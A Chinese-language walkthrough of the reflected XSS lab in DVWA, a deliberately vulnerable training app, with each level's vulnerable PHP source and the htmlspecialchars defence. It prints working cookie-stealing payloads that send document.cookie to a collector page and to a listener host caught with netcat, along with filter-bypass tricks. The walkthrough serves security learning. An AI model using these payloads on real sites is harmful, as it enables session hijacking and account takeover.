DVWA--反射型XSS(Reflected)攻略详解

目录

反射型XSS攻击

Low等级

Medium等级

High等级

Impossible等级

补充

---

反射型XSS攻击

        又称为非持久性跨站点脚本攻击，它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击) 恶意代码并没有保存在目标网站，由浏览器解析脚本。

Low等级

输入<script>alert(/xss/)</script>测试漏洞，成功弹框

注：可以弹窗的函数有alert()，confirm()，prompt()

这里使用本地的服务器来获取用户的cookie

在自己服务器上的www目录下创建一个cookie.php文件，内容如下：

<?php

$cookie=$_GET['$cookie'];//将get请求参数存储到cookie变量中

$file_put_contents('cookie.txt',$cookie);//把偷取的用户cookie写到cookie.txt文件中。

?>

编写js代码将页面的cookie发送到cookie.php中

<script>document.location='http://127.0.0.1/cookie.php/?cookie='+document.cookie;</script>

//document.location将页面的内容指定到指定位置。

构造URL

http://localhost/dvwa/vulnerabilities/xss_r/?name=
<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>

对参数js代码部分进行URL编码

http://localhost/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D'http%3A%2F%2F127.0.0.1%2Fcookie.php%3Fcookie%3D'%2Bdocument.cookie%3B%3C%2Fscript%3E%23%0A

发送URL给用户

当受害者的浏览器有该网站的cookie的情况下点击该链接时，会跳转到http://127.0.0.1/cookie.php，并将cookie写入到了同目录下的cookie.txt中，攻击者就可以在自己服务器上获取到该受害者的cookie

成功拿到受害者的cookie

利用cookie登陆DVWA的首页

F12键，修改当前浏览器的cookie，然后刷新访问DVWA的index.php页面，就能以管理员的身份进入，如下图

观察源代码，可以发现：

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Feedback for end user
	$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

array_key_exists检查数组中是否有指定的键名

·  X-XSS-Protection: 1强制XSS保护(如果XSS保护被用户禁用，则有用)

·  X-XSS-Protection: 0禁用XSS保护

可以看到，在low级别中没用进行任何的对XSS攻击的防御措施，用户输入什么都会被执行。

Medium等级

使用<script>alert(/xss/)</script>继续测试是否有XSS漏洞

发现<script>标签被过滤了，尝试使用大小写混淆或者双写绕过

大小写混淆：

输入<ScRipt>alert(/xss/)</script>，成功弹框

双写绕过：
输入<sc<script>ript>alert(/xss/)</script>，成功弹框

输入其他标签：

输入<img src=x οnerrοr=alert(/xss/)>，成功弹窗

利用之前Low等级时构造的js的方法重新构造url发送给送给受害者，就可获取到受害者的cookie

观察源代码，可以发现：

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Get input
	$name = str_replace( '<script>', '', $_GET[ 'name' ] );

	// Feedback for end user
	$html .= "<pre>Hello ${name}</pre>";
}

?>

$name变量使用了str_replace函数过滤了<script>字符，但这可以通过大小写混淆或者双写等其他方式绕过

High等级

继续使用<script>alert(/xss/)</script>测试是否有XSS漏洞：

可以发现只显示>,前面所有字符被过滤

那尝试使用大小写混淆或者双写绕过，

<ScRipt>alert(/xss/)</script>或者<sc<script>ript>alert(/xss/)</script>

但依然发现所有字符被过滤：

既然script标签代码被过滤，那就尝试上面用到的，使用img、body等标签的事件或者iframe等标签的src注入恶意js代码。

在输入框中输入<img src=x οnerrοr=alert(/xss/)>，成功弹窗：

这里构造下攻击链接，利用ip地址为192.168.238.50的kali来接收cookie

<img src=x onerror=document.body.appendChild(document.createElement('img')).setAttribute('src','192.168.238.50:8080/?='+document.cookie);>

然后监听kali的8080端口，如果受害者访问了该链接，则可获取其cookie 

监听方法：

1.利用netcat 

在kali命令行运行

nc -vlp 8080

2.利用python

Python -m SimpleHTTPServer 8080

观察下high等级的源代码，可以发现：

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Get input
	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

	// Feedback for end user
	$html .= "<pre>Hello ${name}</pre>";
}

?>

这次的$name变量使用的是preg_replace函数，这个函数用于正则表达式的搜索和替换了<script>，这使得双写绕过、大小写混淆绕过（正则表达式中，.*表示贪婪匹配，/i表示不区分大小写）不再有效，所以这里使用的时img标签。

Impossible等级

Impossible在DVWA中安全等级是最高的了，这里查看源代码了解一下防范xss攻击的原理：

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$name = htmlspecialchars( $_GET[ 'name' ] );

	// Feedback for end user
	$html .= "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这里使用了一个htmlspecialchars函数，htmlspecialchars()这个函数的的功能：是把预定义的字符&、"、'、<、>转换为 HTML 实体，防止浏览器将其作为HTML元素。还加入了Anti-CSRF token，防止结合CSRF（跨站请求伪造）攻击

补充

编码脚本代码绕过关键字过滤

        有些时候服务器会对代码中关键字进行过滤（如alert），这个时候我们可以尝试将关键字进行Unicode编码后再插入，不过，直接使用编码是不能被浏览器执行的，但是可以用eval()语句来实现，eval()会将编码后的语句解码后在执行。

例如：alert(“xss”)编码过后构造的攻击代码：

<script>eval(\u0061\u006c\u0065\u0072\u0074("xss"))</script>

编码过滤原理：

        当浏览器接受到一份HTML代码后，会对标签之间（<p>xxx</p>等，<script>除外)、标签的属性中（<a href='xxxx'>）进行实体字符解码变为相应的字符，而不会发挥出其本来该有的功能，如：&#60;被解码为<后，仅被当作字符，而不会被当成标签名的起始。既然是字符串，那在href='xx'这些属性值本来就是字符串的地方可以作为一种可能的绕过的手段。

        当js解释器在标识符名称(例如函数名，属性名等等)中遇到unicode编码会进行解码，并使其标志符照常生效。而在字符串中遇到unicode编码时会进行解码只会被当作字符串。如

<script>\u0061\u006c\u0065\u0072\u0074(1)</script>

解码后为<script>alert(1)</script>，一样可以弹窗。但如果是

<script>document.write('\u0039\u0041\u0059\u0097\u0108;\u0101\u0114\u0016\u0040\u0039\u0049\u0049\u0049')</script>

        解码后为 <script>document.write(' ');alert('111')</script>就不要指望他可以弹窗了。因为解码出来的');alert('111仍为被当作字符串而不会影响上下文。